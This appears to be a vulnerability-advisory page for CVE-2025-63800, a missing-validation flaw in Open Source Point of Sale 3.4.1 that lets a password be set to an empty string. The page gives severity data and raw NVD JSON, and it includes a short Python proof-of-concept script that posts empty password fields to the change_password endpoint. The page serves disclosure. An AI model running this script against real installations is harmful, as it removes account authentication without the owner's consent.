Security Vulnerability Report
中文
CVE-2025-63800 CVSS 7.5 HIGH

CVE-2025-63800

Published: 2025-11-18 16:15:46
Last Modified: 2025-12-19 16:51:23

Description

The password change endpoint in Open Source Point of Sale 3.4.1 allows users to set their account password to an empty string due to missing server-side validation. When an authenticated user omits or leaves the `password` and `repeat_password` parameters empty in the password change request, the backend still returns a successful response and sets the password to an empty string. This effectively disables authentication and may allow unauthorized access to user or administrative accounts.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:opensourcepos:open_source_point_of_sale:3.4.1:*:*:*:*:*:*:* - VULNERABLE
Open Source Point of Sale 3.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-63800 PoC - Open Source Point of Sale Empty Password Vulnerability # Target: Open Source Point of Sale 3.4.1 # Description: Password change endpoint allows setting empty password target_url = "http://target.com/opensourcepos" # Replace with actual session cookie after authentication session_cookie = {"ci_session": "your_session_cookie_here"} # Endpoint for password change password_change_endpoint = f"{target_url}/index.php/login/change_password" # PoC payload - sending empty password payload = { "password": "", "repeat_password": "" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": f"ci_session={session_cookie['ci_session']}" } print("[*] Sending empty password change request...") response = requests.post(password_change_endpoint, data=payload, headers=headers) if response.status_code == 200: print("[+] Password changed to empty string successfully!") print("[+] You can now login with empty password") else: print("[-] Attack failed, check credentials or target URL")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63800", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:46.310", "lastModified": "2025-12-19T16:51:22.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The password change endpoint in Open Source Point of Sale 3.4.1 allows users to set their account password to an empty string due to missing server-side validation. When an authenticated user omits or leaves the `password` and `repeat_password` parameters empty in the password change request, the backend still returns a successful response and sets the password to an empty string. This effectively disables authentication and may allow unauthorized access to user or administrative accounts."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-521"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensourcepos:open_source_point_of_sale:3.4.1:*:*:*:*:*:*:*", "matchCriteriaId": "8EC6C4DB-C7B4-46A5-9479-851918C55014"}]}]}], "references": [{"url": "https://github.com/omkaryepre/vulnerability-research/tree/main/CVE-2025-63800", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/opensourcepos/opensourcepos", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://opensourcepos.org/", "source": "[email protected]", "tags": ["Product"]}]}}